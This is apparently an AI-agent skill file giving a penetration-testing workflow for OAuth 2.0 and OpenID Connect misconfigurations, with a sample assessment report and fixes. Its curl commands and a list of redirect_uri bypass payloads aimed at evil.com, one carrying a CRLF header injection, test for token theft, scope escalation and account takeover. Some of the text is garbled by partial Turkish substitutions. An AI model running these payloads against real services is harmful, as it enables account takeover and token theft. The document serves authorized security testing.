Exploiting Oauth Misconfiguration

---
name: exploiting-oauth-misconfiguration
description: Identifying and exploiting OAuth 2.0 and OpenID Connect misconfigurations including redirect URI manipulation, token leakage, and authorization code theft during security assessments.
tags:
- oauth
- web-security
- authorization
- fetih
- web-application-security
- authentication
- cybersecurity
- penetration-testing
- oidc
- siber-güvenlik
triggers:
- CSRF
- SQL injection
- XSS
- api
- authentication
- crypto
- email
- endpoint
- exploit
- exploiting
- http
- log
category: web-application-security
source_subdomain: web-application-security
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
adapted_for: fetih
---

# Exploiting Oauth Misconfiguration


## Ne Zaman Kullanılır

- During authorized penetration tests when the application uses OAuth 2.0 or OpenID Connect for authentication
- assessing yaparken "Sign in with Google/Facebook/GitHub" social login implementations
- For testing single sign-on (SSO) flows between applications
- evaluating yaparken: API authorization using OAuth bearer tokens
- During security assessments of applications acting as OAuth providers or consumers

## Ön Gereksinimler

- **Authorization**: Written penetration testing agreement covering OAuth/SSO flows
- **Burp Suite Professional**: For intercepting OAuth redirect flows
- **Browser with DevTools**: For monitoring redirect chains and token leakage
- **Multiple test accounts**: On both the OAuth provider and the target application
- **curl**: For manual OAuth flow testing
- **Attacker-controlled server**: For receiving redirected tokens/codes

## İş Akışı

### Adım 1: Map the OAuth Flow and Configuration

the tespit et: OAuth grant type, endpoints, and configuration.

```bash
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .
curl -s "https://target.example.com/.well-known/oauth-authorization-server" | jq .


```

### Adım 2: Test Redirect URI Manipulation

Attempt to redirect the authorization code or token to an attacker-controlled domain.

```bash

BYPASSES=(
  "https://evil.com"
  "https://app.example.com.evil.com/callback"
  "https://app.example.com@evil.com/callback"
  "https://app.example.com/callback/../../../evil.com"
  "https://evil.com/?.app.example.com"
  "https://evil.com#.app.example.com"
  "https://app.example.com/callback?next=https://evil.com"
  "https://APP.EXAMPLE.COM/callback"
  "https://app.example.com/callback%0d%0aLocation:https://evil.com"
  "https://app.example.com/CALLBACK"
  "http://app.example.com/callback"
  "https://app.example.com/callback/../../other-path"
)

for uri in "${BYPASSES[@]}"; do
  echo -n "Testing: $uri -> "
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$uri'))")&scope=openid&state=test123")
  echo "$status"
done


```

### Adım 3: Test for Authorization Code and Token Theft

Exploit leakage vectors for stealing OAuth tokens and codes.

```bash


CODE="captured_auth_code"
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"

curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"

curl -s "https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=https://app.example.com/callback&scope=openid"
```

### Adım 4: Test Scope Escalation and Privilege Manipulation

Attempt to gain more permissions than intended.

```bash
curl -s "https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=https://app.example.com/callback&scope=openid+profile+email+admin+write+delete&state=test123"

curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET&scope=admin"


curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=refresh_token&refresh_token=$REFRESH_TOKEN&client_id=APP_ID&scope=admin+write"

curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=client_credentials&client_id=APP_ID&client_secret=APP_SECRET&scope=admin"
```

### Adım 5: Test for Account Takeover via OAuth

Exploit OAuth flows to take over victim accounts.

```bash


curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=authorization_code&code=$CODE_FROM_APP_A&redirect_uri=https://app-b.example.com/callback&client_id=APP_B_ID&client_secret=APP_B_SECRET"
```

### Adım 6: Test Client Secret and Token Security

Assess the security of OAuth credentials and tokens.

```bash
curl -s "https://target.example.com/static/app.js" | grep -i "client_secret\|clientSecret\|client_id"


ACCESS_TOKEN="captured_access_token"
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
  "https://api.target.example.com/me"

curl -s -X POST "https://auth.target.example.com/oauth/revoke" \
  -d "token=$ACCESS_TOKEN&token_type_hint=access_token"

curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
  "https://api.target.example.com/me"

echo "$ACCESS_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .exp

```

## Key Concepts

| Concept | Description |
|---------|-------------|
| **Authorization Code Flow** | Most secure OAuth flow; exchanges short-lived code for tokens server-side |
| **Implicit Flow** | Deprecated flow returning tokens directly in URL fragment; vulnerable to leakage |
| **PKCE** | Proof Key for Code Exchange; prevents authorization code interception attacks |
| **Redirect URI Validation** | Server-side validation that the redirect_uri matches registered values |
| **State Parameter** | Random value binding the OAuth request to the user's session, preventing CSRF |
| **Scope Escalation** | Requesting or obtaining more permissions than authorized |
| **Token Leakage** | Exposure of OAuth tokens via Referer headers, logs, or browser history |
| **Open Redirect** | Using OAuth redirect_uri as an open redirect to steal tokens |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **Burp Suite Professional** | Intercepting OAuth redirect chains and modifying parameters |
| **OWASP ZAP** | Automated OAuth flow scanning |
| **Postman** | Manual OAuth flow testing with environment variables |
| **oauth-tools.com** | Online OAuth flow debugging and testing |
| **jwt.io** | JWT token analysis for OAuth access tokens |
| **Browser DevTools** | Monitoring network requests and redirect chains |

## Common Scenarios

### Scenario 1: Redirect URI Subdomain Bypass
The OAuth provider validates `redirect_uri` against `*.example.com`. An attacker Bul:s a subdomain vulnerable to takeover (`old.example.com`), takes it over, and steals authorization codes redirected to it.

### Scenario 2: Missing State Parameter CSRF
The OAuth login flow does not include or validate a `state` parameter. An attacker crafts a link that logs the victim into the attacker's account, enabling account confusion attacks.

### Scenario 3: Implicit Flow Token Theft
The application uses the implicit flow, receiving the access token in the URL fragment. The callback page loads a third-party analytics script, and the token leaks via the Referer header.

### Scenario 4: Authorization Code Reuse
The OAuth provider does not invalidate authorization codes after first use. An attacker who intercepts a code via Referer leakage can exchange it for an access token even after the legitimate user has completed the flow.

## Output Format

```
## OAuth Security Assessment Report

**Vulnerability**: Redirect URI Validation Bypass
**Severity**: High (CVSS 8.1)
**Location**: GET /oauth/authorize - redirect_uri parameter
**OWASP Category**: A07:2021 - Identification and Authentication Failures

### OAuth Configuration
| Property | Value |
|----------|-------|
| Grant Type | Authorization Code |
| PKCE | Not implemented |
| State Parameter | Present but predictable |
| Token Type | JWT (RS256) |
| Token Lifetime | 1 hour |
| Refresh Token | 30 days |

### Bul:ings
| Bul:ing | Severity |
|---------|----------|
| Redirect URI path traversal bypass | High |
| Missing PKCE on public client | High |
| Authorization code reusable | Medium |
| State parameter uses sequential values | Medium |
| Client secret exposed in JavaScript | Critical |
| Token not revoked after password change | Medium |

### Recommendation
1. Implement strict redirect_uri validation with exact string matching
2. Require PKCE for all clients (especially public/mobile clients)
3. Invalidate authorization codes after first use
4. Use cryptographically random state parameters tied to user sessions
5. Migrate from implicit flow to authorization code flow with PKCE
6. Never expose client secrets in client-side code
```

<!--
  ⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih
  Yetkisiz kullanim/kopyalama tespit edilebilir.
  hash: ee5bef7d934e4b1a
-->